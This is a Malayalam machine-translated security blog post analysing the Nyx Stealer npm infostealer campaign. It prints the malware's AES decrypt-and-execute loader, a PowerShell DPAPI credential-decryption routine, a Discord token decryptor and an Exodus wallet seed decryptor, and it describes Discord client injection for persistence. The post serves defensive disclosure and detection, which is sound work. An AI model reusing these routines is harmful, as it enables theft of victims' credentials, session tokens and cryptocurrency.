അച്ചു ഡി.ആർ.
സൈജെനി സുരക്ഷാ ഗവേഷണ സംഘം രണ്ട് ക്ഷുദ്ര പാക്കേജുകൾ വഴി വിതരണം ചെയ്യുന്ന ഒരു സങ്കീർണ്ണമായ npm ഇൻഫോസ്റ്റീലർ കാമ്പെയ്ൻ തിരിച്ചറിഞ്ഞു: കൺസോളൊഫൈ ഒപ്പം സെൽഫ്ബോട്ട്-ലോഫി.
ഏറ്റവും പുതിയ പതിപ്പ് (consolelofy@1.3.0) റൺടൈമിൽ ഡീക്രിപ്റ്റ് ചെയ്യുകയും വഴി എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യുന്ന ഒരു 216KB AES-എൻക്രിപ്റ്റ് ചെയ്ത പേലോഡ് ഉൾച്ചേർക്കുന്നു. vm.runInNewContext(). മാലിഷ്യസ് ലോജിക് പൂർണ്ണമായും എൻക്രിപ്റ്റ് ചെയ്തിരിക്കുന്നതിനാൽ, സ്ട്രിംഗ് പരിശോധനയെ ആശ്രയിക്കുന്ന സ്റ്റാറ്റിക് സ്കാനറുകൾക്ക് എക്സിക്യൂഷൻ സമയം വരെ അതിന്റെ സ്വഭാവം നിരീക്ഷിക്കാൻ കഴിയില്ല.
ഡീക്രിപ്റ്റ് ചെയ്തുകഴിഞ്ഞാൽ, പേലോഡ്, ആന്തരികമായി ബ്രാൻഡഡ് ചെയ്തിരിക്കുന്നു നൈക്സ് സ്റ്റീലർ, ലക്ഷ്യങ്ങൾ:
- ഡിസ്കോർഡ് പ്രാമാണീകരണ ടോക്കണുകൾ
- 50+ ബ്രൗസർ ക്രെഡൻഷ്യൽ സ്റ്റോറുകൾ
- 90+ ക്രിപ്റ്റോകറൻസി വാലറ്റ് എക്സ്റ്റൻഷനുകൾ
- Roblox, Instagram, Spotify, Steam, Telegram, TikTok സെഷനുകൾ
- ഡെസ്ക്ടോപ്പ് ക്ലയന്റ് സ്ഥിരത നിരസിക്കുക
രണ്ട് പാക്കേജുകളിലുടനീളമുള്ള 20 പതിപ്പുകളും റിപ്പോർട്ട് ചെയ്യപ്പെടുകയും ക്ഷുദ്രകരമാണെന്ന് സ്ഥിരീകരിക്കപ്പെടുകയും ചെയ്തു.
ഈ npm ഇൻഫോസ്റ്റീലറിന്റെ സാങ്കേതിക അവലോകനം
പരമ്പരാഗത ഇൻസ്റ്റാൾ-ടൈം മാൽവെയറിൽ നിന്ന് വ്യത്യസ്തമായി, ഈ കാമ്പെയ്ൻ ആശ്രയിക്കുന്നത് റൺടൈം ഡീക്രിപ്ഷൻ മോഡൽ.
ഇതുണ്ട്:
- ദോഷകരമല്ല
preinstallorpostinstallhooks - വ്യക്തമായ ഇൻസ്റ്റാളേഷൻ സമയ നെറ്റ്വർക്ക് കോളുകളൊന്നുമില്ല.
- പ്ലെയിൻടെക്സ്റ്റ് ക്രെഡൻഷ്യൽ ഹാർവസ്റ്റിംഗ് ലോജിക് ഇല്ല.
മൊഡ്യൂൾ ഇറക്കുമതി ചെയ്യുമ്പോൾ പേലോഡ് സജീവമാകുന്നു. മുഴുവൻ മാൽവെയർ ബോഡിയും എൻക്രിപ്റ്റ് ചെയ്തിരിക്കുന്നു, റൺടൈമിൽ മാത്രമേ മെമ്മറിയിൽ ദൃശ്യമാകൂ.
പാക്കേജ് ഇൻസ്റ്റാളേഷൻ സമയത്ത് കണ്ടെത്തൽ ഒഴിവാക്കുന്നതിനാണ് ഈ ഡിസൈൻ പ്രത്യേകമായി ഉപയോഗിക്കുന്നത്.
ഈ npm ഇൻഫോസ്റ്റീലർ യഥാർത്ഥത്തിൽ എങ്ങനെ പ്രവർത്തിക്കുന്നു
Nyx Stealer എന്താണ് മോഷ്ടിക്കുന്നതെന്ന് വിശകലനം ചെയ്യുന്നതിന് മുമ്പ്, നമ്മൾ മനസ്സിലാക്കേണ്ടതുണ്ട് അത് എങ്ങനെ നടപ്പിലാക്കുന്നു.
ഈ npm ഇൻഫോസ്റ്റീലറിനുള്ളിലെ ക്ഷുദ്ര യുക്തി ഒരു സ്ഥിരമായ പാറ്റേൺ പിന്തുടരുന്നു:
ഒരു ചെറിയ ലോഡർ ഒരു വലിയ എൻക്രിപ്റ്റ് ചെയ്ത പേലോഡിനെ ഡീക്രിപ്റ്റ് ചെയ്യുകയും ഒരു Node.js VM സന്ദർഭത്തിനുള്ളിൽ അത് ഡൈനാമിക് ആയി എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യുന്നു.
ഈ രൂപകൽപ്പന മനഃപൂർവമാണ്. ആക്രമണകാരി മറച്ചുവെക്കുന്നത് പ്രവർത്തനക്ഷമതയെ മറച്ചുവെക്കുക മാത്രമല്ല, അവർ സ്റ്റാറ്റിക് ദൃശ്യപരതയിൽ നിന്ന് ക്ഷുദ്ര കോഡ് പൂർണ്ണമായും നീക്കംചെയ്യുന്നു.
ഹൈ-ലെവൽ എക്സിക്യൂഷൻ മോഡൽ
ഉയർന്ന തലത്തിൽ, റാപ്പർ നാല് കാര്യങ്ങൾ ചെയ്യുന്നു:
- SHA-256 ഉപയോഗിച്ച് ഹാർഡ്കോഡ് ചെയ്ത പാസ്ഫ്രെയ്സിൽ നിന്ന് ഒരു AES കീ ഉരുത്തിരിഞ്ഞുവരുന്നു.
- AES-256-CBC ഉപയോഗിച്ച് ഒരു വലിയ ഹെക്സ്-എൻകോഡ് ചെയ്ത സൈഫർടെക്സ്റ്റ് ഡീക്രിപ്റ്റ് ചെയ്യുന്നു.
- ഉപയോഗിച്ച് ഡീക്രിപ്റ്റ് ചെയ്ത JavaScript നടപ്പിലാക്കുന്നു
vm.runInNewContext() - ശക്തമായ റൺടൈം പ്രിമിറ്റീവുകൾ ഇപ്പോഴും തുറന്നുകാട്ടുന്ന ഒരു സാൻഡ്ബോക്സ് നൽകുന്നു.
കോർ ടെക്നിക് സംഗ്രഹം
| ഘടകം | കോൺഫിഗറേഷൻ / മൂല്യം |
|---|---|
| അൽഗോരിതം | എഇഎസ്-256-സിബിസി |
| കീ ഡെറിവേഷൻ | SHA-256(പാസ്ഫ്രെയ്സ്) |
| ഇനിഷ്യലൈസേഷൻ വെക്റ്റർ (IV) | 0x00 ന്റെ 16 ബൈറ്റുകൾ |
| വധശിക്ഷ | vm.runInNewContext(ഡീക്രിപ്റ്റ് ചെയ്തത്, സാൻഡ്ബോക്സ്) |
നിർണായകമായി, സാൻഡ്ബോക്സ് കടന്നുപോകുന്നത്:
requireprocessBuffer- ടൈമറുകൾ
- മൊഡ്യൂൾ കയറ്റുമതി
ഇതിനർത്ഥം ഡീക്രിപ്റ്റ് ചെയ്ത പേലോഡ് ഇനിപ്പറയുന്നവയ്ക്കുള്ള പൂർണ്ണ ശേഷി നിലനിർത്തുന്നു എന്നാണ്:
- സ്പോൺ പ്രക്രിയകൾ
- ഫയലുകൾ വായിക്കുകയും എഴുതുകയും ചെയ്യുക
- നെറ്റ്വർക്ക് കോളുകൾ ചെയ്യുക
- ലോക്കൽ ആപ്ലിക്കേഷനുകൾ പരിഷ്കരിക്കുക
ഇതൊരു നിയന്ത്രിത VM അല്ല. എക്സിക്യൂഷൻ ട്രാംപോളിൻ ആയി ഉപയോഗിക്കുന്ന ഒരു VM ആണിത്.
റൺടൈം എൻക്രിപ്ഷൻ പാറ്റേൺ (കോർ എക്സിക്യൂഷൻ മെക്കാനിസം)
ലോഡർ ചെറുതാണ്.
ക്ഷുദ്ര ശരീരം അങ്ങനെയല്ല.
പാക്കേജിനുള്ളിൽ കാണുന്ന എക്സിക്യൂഷൻ പാറ്റേൺ താഴെ കൊടുക്കുന്നു:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } എന്തുകൊണ്ട് ഇത് പ്രാധാന്യമർഹിക്കുന്നു
ഡീക്രിപ്റ്റ് ചെയ്ത പേലോഡ്:
- പ്രവർത്തിക്കുന്നുണ്ട് അല്ല npm പാക്കേജിനുള്ളിൽ പ്ലെയിൻടെക്സ്റ്റിൽ നിലവിലുണ്ട്.
- ലളിതമായവർക്ക് അദൃശ്യമാണ്
grepഅല്ലെങ്കിൽ സ്റ്റാറ്റിക് സ്ട്രിംഗ് സ്കാനിംഗ് - റൺടൈമിൽ മാത്രമേ മെമ്മറിയിൽ യാഥാർത്ഥ്യമാകൂ.
- പൂർണ്ണ നോഡ് റൺടൈം കഴിവുകളോടെ പ്രവർത്തിക്കുന്നു
ഈ AES + VM എക്സിക്യൂഷൻ കോമ്പിനേഷൻ ഒരു ശക്തമായ പെരുമാറ്റ സൂചകമാണ് npm ഇൻഫോസ്റ്റീലർ സ്റ്റാറ്റിക് പരിശോധനയിൽ നിന്ന് രക്ഷപ്പെടാൻ ശ്രമിക്കുന്നു.
മറ്റൊരു വിധത്തിൽ പറഞ്ഞാൽ:
പാക്കേജ് സോഴ്സ് ട്രീ സ്കാൻ ചെയ്താൽ, ഒരു സ്റ്റീലറെയും കാണില്ല.
നിങ്ങൾ ഒരു ഡീക്രിപ്റ്റർ കാണുന്നു.
ഡീക്രിപ്ഷന് ശേഷം എന്താണ് സംഭവിക്കുന്നത്
ഒരിക്കൽ നടപ്പിലാക്കിയാൽ, Nyx Stealer സമാന്തര ഡാറ്റ ശേഖരണ തരംഗങ്ങൾ വിക്ഷേപിക്കുന്നു.
വേവ് 1: ബ്രൗസർ ക്രെഡൻഷ്യൽ എക്സ്ട്രാക്ഷൻ
മാൽവെയർ:
- NuGet CDN-ൽ നിന്ന് ഒരു പൈത്തൺ റൺടൈം ഡൗൺലോഡ് ചെയ്യുന്നു
- ക്രിപ്റ്റോഗ്രാഫിക് ലൈബ്രറികൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നു
- Chromium-അധിഷ്ഠിത ക്രെഡൻഷ്യൽ സ്റ്റോറുകൾ എക്സ്ട്രാക്റ്റുചെയ്യുന്നു
- DPAPI- പരിരക്ഷിത രഹസ്യങ്ങൾ ഡീക്രിപ്റ്റ് ചെയ്യുന്നു
നേറ്റീവ് ബൈൻഡിംഗുകൾ കംപൈൽ ചെയ്യുന്നതിനുപകരം, വിൻഡോസ് DPAPI-യെ നേരിട്ട് വിളിക്കാൻ ഇത് പവർഷെലിനെ ഉപയോഗപ്പെടുത്തുന്നു.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } ഈ സമീപനം:
- സമാഹരണ ആർട്ടിഫാക്റ്റുകൾ ഒഴിവാക്കുന്നു
- നേറ്റീവ് വിൻഡോസ് ക്രിപ്റ്റോ API-കൾ ഉപയോഗിക്കുന്നു
- അഡ്മിനിസ്ട്രേറ്റീവ് ടൂളിംഗിലേക്ക് ലയിക്കുന്നു
ഇത് OS-ലെവൽ ക്രെഡൻഷ്യൽ ഡീക്രിപ്ഷൻ ആണ്, സ്ക്രാപ്പിംഗ് അല്ല.
വേവ് 2: ഡിസ്കോർഡ് ടോക്കൺ ഡീക്രിപ്ഷൻ
മോഷ്ടിക്കുന്നയാൾ പ്രോട്ടോക്കോൾ-അറിയുന്നവനാണ്. ഡിസ്കോർഡിന്റെ എൻക്രിപ്റ്റ് ചെയ്ത ടോക്കൺ ഫോർമാറ്റ് ഇത് മനസ്സിലാക്കുന്നു.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } പ്രവർത്തന പ്രവാഹം:
- ഡിസ്കോർഡിൽ നിന്ന് മാസ്റ്റർ കീ എക്സ്ട്രാക്റ്റ് ചെയ്യുക
Local State - DPAPI വഴി മാസ്റ്റർ കീ ഡീക്രിപ്റ്റ് ചെയ്യുക
- AES-GCM ടോക്കൺ ബ്ലോബുകൾ ഡീക്രിപ്റ്റ് ചെയ്യുക
- ഡിസ്കോർഡ് API-യ്ക്കെതിരെ ടോക്കണുകൾ സാധൂകരിക്കുക
- നൈട്രോ, ബാഡ്ജുകൾ, ബില്ലിംഗ് വിവരങ്ങൾ എന്നിവയാൽ സമ്പന്നമാക്കുക
ഇത് പൊതുവായ ക്രെഡൻഷ്യൽ ഡംപിംഗ് അല്ല. ഇത് പ്രോട്ടോക്കോൾ-അവബോധമുള്ള സെഷൻ ഹൈജാക്കിംഗ് ആണ്.
വേവ് 3: ക്രിപ്റ്റോകറൻസി വാലറ്റ് ടാർഗെറ്റിംഗ്
npm ഇൻഫോസ്റ്റീലർ ഇങ്ങനെ പട്ടികപ്പെടുത്തുന്നു:
- 90+ ബ്രൗസർ വാലറ്റ് എക്സ്റ്റൻഷനുകൾ
- 27 ഡെസ്ക്ടോപ്പ് വാലറ്റുകൾ
- തണുത്ത വാലറ്റ് പാതകൾ
- എക്സോഡസ് സീഡ് ഫയലുകൾ
സീഡ് ഡീക്രിപ്ഷൻ ശ്രമത്തിന്റെ ഉദാഹരണം:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } വിജയകരമാണെങ്കിൽ, വാലറ്റ് വിട്ടുവീഴ്ച ഉടനടി സംഭവിക്കുകയും തിരിച്ചെടുക്കാനാവാത്തതുമാണ്.
ഇത് കാമ്പെയ്നിന്റെ ഏറ്റവും ഉയർന്ന മൂല്യമുള്ള ധനസമ്പാദന വെക്ടറിനെ പ്രതിനിധീകരിക്കുന്നു.
ഡിസ്കോർഡ് ഡെസ്ക്ടോപ്പ് ഇൻജക്ഷൻ വഴി സ്ഥിരത
ക്രെഡൻഷ്യലുകൾ ശേഖരിച്ച ശേഷം, ലോക്കൽ പരിഷ്ക്കരിച്ചുകൊണ്ട് Nyx സ്റ്റീലർ സ്ഥിരത കൈവരിക്കാൻ ശ്രമിക്കുന്നു. നിരസിക്കുക കക്ഷി.
ടാർജറ്റ്:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js പ്രവർത്തന ക്രമം
ഇൻഫോസ്റ്റീലർ ഇനിപ്പറയുന്ന ഘട്ടങ്ങൾ നിർവ്വഹിക്കുന്നു:
- ഡിസ്കോർഡ് പ്രക്രിയകൾ പ്രവർത്തിപ്പിക്കുന്നത് അവസാനിപ്പിക്കുന്നു
- ഇൻസ്റ്റാൾ ചെയ്ത ഡിസ്കോർഡ് വകഭേദങ്ങൾ കണ്ടെത്തുന്നു (സ്റ്റേബിൾ, കാനറി, പിടിബി)
- തിരുത്തിയെഴുതുന്നു
discord_desktop_core/index.js - ആക്രമണകാരി നിയന്ത്രിത വെബ്ഹുക്ക് ലോജിക് കുത്തിവയ്ക്കുന്നു
- ഡിസ്കോർഡ് പുനരാരംഭിക്കുന്നു
ഭാവിയിലെ ഡിസ്കോർഡ് സെഷനുകൾ പുതിയ പ്രാമാണീകരണ ടോക്കണുകൾ സ്വയമേവ ചോർത്തുന്നുവെന്ന് ഇത് ഉറപ്പാക്കുന്നു.
പ്രധാനമായും, ഈ സ്ഥിരത ഷെഡ്യൂൾ ചെയ്ത ജോലികളെയോ രജിസ്ട്രി പരിഷ്കരണങ്ങളെയോ ആശ്രയിക്കുന്നില്ല. ഇത് ആപ്ലിക്കേഷൻ-ലെവൽ കോഡ് പരിഷ്കരണത്തെ പ്രയോജനപ്പെടുത്തുന്നു, ഇത് ഒരു രഹസ്യ സമീപനമാണ്.
ക്ഷുദ്രകരമായ npm പാക്കേജ് പിന്നീട് നീക്കം ചെയ്താലും, Discord ക്ലയന്റ് അപകടത്തിൽപ്പെട്ടതായി തുടരും.
സാങ്കേതിക താരതമ്യം: നിയമാനുസൃത സെൽഫ്ബോട്ട് vs npm ഇൻഫോസ്റ്റീലർ
| ഘടകം | നിയമാനുസൃത ലൈബ്രറി | Nyx npm ഇൻഫോസ്റ്റീലർ |
|---|---|---|
| എൻക്രിപ്ഷൻ | ഒന്നുമില്ല | പൂർണ്ണ AES-എൻക്രിപ്റ്റ് ചെയ്ത പേലോഡ് |
| റൺടൈം VM | ആവശ്യമില്ല | vm.runInNewContext വധിക്കുക |
| ക്രെഡൻഷ്യൽ ആക്സസ് | ഡിസ്കോർഡ് API മാത്രം | ബ്രൗസർ, വാലറ്റുകൾ, DPAPI |
| ബാഹ്യ ഡൗൺലോഡുകൾ | ഇല്ല | ന്യൂജെറ്റ് വഴിയുള്ള പൈത്തൺ റൺടൈം |
| ദൃഢത | ഇല്ല | ഡിസ്കോർഡ് ക്ലയന്റ് ഇഞ്ചക്ഷൻ |
| ധനസമ്പാദനം | ബോട്ട് ഓട്ടോമേഷൻ | ക്രെഡൻഷ്യൽ പുനർവിൽപ്പന |
എൻക്രിപ്ഷൻ ലെയർ മാത്രമാണ് ഈ കാമ്പെയ്നിനെ ഒരു സാധാരണ ഓപ്പൺ സോഴ്സ് ഫോർക്കിൽ നിന്ന് വേർതിരിക്കുന്നത്.
ഒരു നിയമാനുസൃത ഡിസ്കോർഡ് സെൽഫ്ബോട്ടിന് അതിന്റെ മുഴുവൻ കോഡ്ബേസും എൻക്രിപ്റ്റ് ചെയ്യാനോ, DPAPI ആക്സസ് ചെയ്യാൻ പവർഷെൽ സ്പോൺ ചെയ്യാനോ, ബാഹ്യ റൺടൈമുകൾ ഡൗൺലോഡ് ചെയ്യാനോ, ഡെസ്ക്ടോപ്പ് ആപ്ലിക്കേഷൻ ഇന്റേണലുകൾ പരിഷ്ക്കരിക്കാനോ ഒരു കാരണവുമില്ല. ഡിസ്കോർഡ് ഇടപെടലുകൾ ഓട്ടോമേറ്റ് ചെയ്യുമെന്ന് അവകാശപ്പെടുന്ന ഒരു ഡിപൻഡൻസിയിൽ ആ കഴിവുകൾ ദൃശ്യമാകുമ്പോൾ, ആർക്കിടെക്ചറൽ പൊരുത്തക്കേട് അവഗണിക്കാൻ അസാധ്യമാകും.
ഒരു അന്വേഷണ കാഴ്ചപ്പാടിൽ, ഈ npm ഇൻഫോസ്റ്റീലർ ഒന്നിലധികം ലെയറുകളിൽ അടയാളങ്ങൾ അവശേഷിപ്പിക്കുന്നു. എന്നിരുന്നാലും, ഏറ്റവും വിശ്വസനീയമായ സൂചകങ്ങൾ ഹാർഡ്കോഡ് ചെയ്ത URL-കളോ നിർദ്ദിഷ്ട ഫയൽ പാത്തുകളോ അല്ല, കാരണം അവ പതിപ്പുകൾക്കിടയിൽ മാറാം. പകരം, ഈടുനിൽക്കുന്ന സിഗ്നലുകൾ ഘടനാപരമാണ്.
പാക്കേജ് തലത്തിൽ, ഏറ്റവും ശക്തമായ റെഡ് ഫ്ലാഗ് എന്നത് ഒരു വലിയ എൻക്രിപ്റ്റ് ചെയ്ത പേലോഡിന്റെയും vm.runInNewContext()എൻക്രിപ്ഷൻ മാത്രം അന്തർലീനമായി ദോഷകരമല്ലെങ്കിലും, ഒരു ഡിസ്കോർഡ് യൂട്ടിലിറ്റി പാക്കേജിനുള്ളിൽ AES ഡീക്രിപ്ഷനും തുടർന്ന് ഡൈനാമിക് VM എക്സിക്യൂഷനും ഉപയോഗിക്കുന്നത് വളരെ അസാധാരണമാണ്.
ഹോസ്റ്റ് തലത്തിൽ, സംശയാസ്പദമായ പാറ്റേണുകളിൽ അപ്രതീക്ഷിത DPAPI ഡീക്രിപ്ഷൻ പ്രവർത്തനം, Node.js ഡിപൻഡൻസി സന്ദർഭത്തിൽ നിന്നുള്ള പ്രോസസ്സ് സ്പാവിംഗ്, മൂന്നാം കക്ഷി ലൈബ്രറികൾ ഒരിക്കലും മാറ്റാൻ പാടില്ലാത്ത ലോക്കൽ ആപ്ലിക്കേഷൻ ഫയലുകളുടെ പരിഷ്ക്കരണം എന്നിവ ഉൾപ്പെടുന്നു. അതുപോലെ, നെറ്റ്വർക്ക് ലെയറിൽ, ഒരു ഡെവലപ്മെന്റ് ഡിപൻഡൻസി ആരംഭിച്ച ഔട്ട്ബൗണ്ട് വെബ്ഹുക്ക്-സ്റ്റൈൽ ആശയവിനിമയം മറ്റൊരു അർത്ഥവത്തായ അപാകതയെ പ്രതിനിധീകരിക്കുന്നു.
മറ്റൊരു വിധത്തിൽ പറഞ്ഞാൽ, കണ്ടെത്തൽ ഉപരിതലം വിട്ടുവീഴ്ചയുടെ ഒരൊറ്റ സൂചകമല്ല. എൻക്രിപ്ഷൻ, റൺടൈം എക്സിക്യൂഷൻ, ക്രെഡൻഷ്യൽ ആക്സസ്, പെർസിസ്റ്റൻസ് ബിഹേവിയർ എന്നിവയുടെ പരസ്പര ബന്ധമാണ് ഭീഷണി വെളിപ്പെടുത്തുന്നത്.
സൈജെനി ഉപയോഗിച്ചുള്ള കണ്ടെത്തലും ലഘൂകരണവും
ഈ npm ഇൻഫോസ്റ്റീലറിനെ തിരിച്ചറിഞ്ഞത് സൈജെനിയുടെ മാൽവെയർ മുൻകൂർ മുന്നറിയിപ്പ് (MEW) ലളിതമായ സിഗ്നേച്ചർ മാച്ചിംഗിനേക്കാൾ പാളികളുള്ള പെരുമാറ്റ പരസ്പര ബന്ധത്തിലൂടെ.
അറിയപ്പെടുന്ന മാലിഷ്യസ് സ്ട്രിംഗുകൾക്കായി തിരയുന്നതിനുപകരം, MEW പൂർണ്ണ സോഴ്സ് ട്രീയിലുടനീളമുള്ള ഘടനാപരമായ അപാകതകളെ വിലയിരുത്തുന്നു. ഈ സാഹചര്യത്തിൽ, നിരവധി സിഗ്നലുകളുടെ സംയോജനത്തിൽ നിന്നാണ് കണ്ടെത്തൽ ഉയർന്നുവന്നത്: മൊഡ്യൂൾ എൻട്രി പോയിന്റിലെ ഒരു എംബഡഡ് AES ഡീക്രിപ്ഷൻ പതിവ്, ഒരു VM സന്ദർഭത്തിനുള്ളിൽ ഉടനടി നടപ്പിലാക്കൽ, വ്യക്തമായ ശേഷി-ഉദ്ദേശ്യ പൊരുത്തക്കേട്.
പ്രധാനമായും, ഈ സിഗ്നലുകളൊന്നും തന്നെ ദുരുദ്ദേശ്യപരമാണെന്ന് തെളിയിക്കുന്നില്ല. എന്നിരുന്നാലും, ഒരുമിച്ച് വിശകലനം ചെയ്യുമ്പോൾ, റൺടൈം സ്വഭാവം മറച്ചുവെക്കാനുള്ള ശ്രമത്തെ അവ തുറന്നുകാട്ടുന്നു. ഉയർന്ന ആത്മവിശ്വാസമുള്ള വിതരണ ശൃംഖല ഭീഷണികൾ തിരിച്ചറിയുന്നതിനൊപ്പം തെറ്റായ പോസിറ്റീവുകളെ ഈ പാളികളായി കുറയ്ക്കുന്നു.
കൂടാതെ, ഇൻസ്റ്റാളേഷൻ-ടൈം പരിശോധന മാത്രം എന്തുകൊണ്ട് അപര്യാപ്തമാണെന്ന് ഈ കേസ് വ്യക്തമാക്കുന്നു. ലൈഫ് സൈക്കിൾ സ്ക്രിപ്റ്റുകളിൽ ക്ഷുദ്രകരമായ ലോജിക് നിലനിൽക്കുന്നില്ല. മൊഡ്യൂൾ ലോഡ് ചെയ്തതിനുശേഷം മാത്രമേ ഇത് സജീവമാകൂ, മെമ്മറിയിൽ ഡീക്രിപ്റ്റ് ചെയ്തുകഴിഞ്ഞാൽ മാത്രമേ ഇത് ദൃശ്യമാകൂ. അതിനാൽ, ഫലപ്രദമായ പ്രതിരോധത്തിന് എൻക്രിപ്ഷൻ-അവബോധ വിശകലനം, പെരുമാറ്റ പാറ്റേൺ തിരിച്ചറിയൽ, ഇൻസ്റ്റലേഷൻ ഇവന്റുകൾക്കപ്പുറം തുടർച്ചയായ ആശ്രിതത്വ നിരീക്ഷണം എന്നിവ ആവശ്യമാണ്.
രജിസ്ട്രി നീക്കം ചെയ്യൽ റിയാക്ടീവ് ആണ്. റൺടൈം-അവേർ വിശകലനം പ്രതിരോധാത്മകമാണ്.
ഈ എൻപിഎം ഇൻഫോസ്റ്റീലർ എന്തുകൊണ്ട് പ്രധാനമാണ്
npm-അധിഷ്ഠിത മാൽവെയറിലെ ഒരു ഘടനാപരമായ പരിണാമത്തെയാണ് Nyx Stealer പ്രതിനിധീകരിക്കുന്നത്.
ചരിത്രപരമായി, പല ക്ഷുദ്ര പാക്കേജുകളും ദൃശ്യമായ ഇൻസ്റ്റാൾ-ടൈം സ്ക്രിപ്റ്റുകളെയോ വ്യക്തമായ ക്രെഡൻഷ്യൽ എക്സ്ഫിൽട്രേഷൻ എൻഡ്പോയിന്റുകളെയോ ആശ്രയിച്ചിരുന്നു. ഇതിനു വിപരീതമായി, ഈ കാമ്പെയ്ൻ അതിന്റെ പേലോഡ് എൻക്രിപ്റ്റ് ചെയ്യുന്നു, റൺടൈമിലേക്ക് എക്സിക്യൂഷൻ മാറ്റിവയ്ക്കുന്നു, നിയമാനുസൃതമായ ഓപ്പറേറ്റിംഗ് സിസ്റ്റം API-കൾ ഉപയോഗിക്കുന്നു, വിശ്വസനീയമായ ആപ്ലിക്കേഷനുകളിൽ സ്ഥിരത സ്ഥാപിക്കുന്നു.
തൽഫലമായി, ആക്രമണകാരിക്ക് npm ഇൻഫ്രാസ്ട്രക്ചർ തന്നെ ചൂഷണം ചെയ്യേണ്ട ആവശ്യമില്ല. പകരം, ആശ്രിത ഇൻസ്റ്റാളേഷൻ വിശ്വാസത്തെ സൂചിപ്പിക്കുന്നതിനാൽ ആക്രമണം വിജയിക്കുന്നു. ഒരു ലൈബ്രറി ഇറക്കുമതി ചെയ്യുന്നത് സുരക്ഷിതമായ ഒരു പ്രവർത്തനമാണെന്ന് ഡെവലപ്പർമാർ അനുമാനിക്കുന്നു, പ്രത്യേകിച്ചും അത് ഒരു ജനപ്രിയ ഉപകരണത്തിന്റെ വിശ്വസനീയമായ ഫോർക്ക് ആയി സ്വയം അവതരിപ്പിക്കുമ്പോൾ.
ആവാസവ്യവസ്ഥ വളർന്നുകൊണ്ടിരിക്കുകയും വിഭജനങ്ങൾ പെരുകുകയും ചെയ്യുമ്പോൾ, ആ വ്യക്തമായ വിശ്വാസ അതിർത്തി കൂടുതൽ ആകർഷകമായ ഒരു ആക്രമണ പ്രതലമായി മാറുന്നു. അതിനാൽ, ആധുനിക npm ഇൻഫോസ്റ്റീലറുകൾക്കെതിരെ പ്രതിരോധിക്കുന്നതിന് സ്റ്റാറ്റിക് സ്ട്രിംഗുകൾക്കായി തിരയുന്നതിനുപകരം വാസ്തുവിദ്യാ പാറ്റേണുകൾ തിരിച്ചറിയേണ്ടതുണ്ട്.
ആത്യന്തികമായി, ഈ കാമ്പെയ്ൻ ഒരു നിർണായക പാഠം ശക്തിപ്പെടുത്തുന്നു software supply chain security: ഏറ്റവും അപകടകരമായ ഭീഷണികൾ ഒറ്റനോട്ടത്തിൽ ക്ഷുദ്രകരമായി തോന്നുന്നവയല്ല, മറിച്ച് റൺടൈം അവയുടെ യഥാർത്ഥ സ്വഭാവം വെളിപ്പെടുത്തുന്നതുവരെ ഘടനാപരമായി നിയമാനുസൃതമായി തോന്നുന്നവയാണ്.




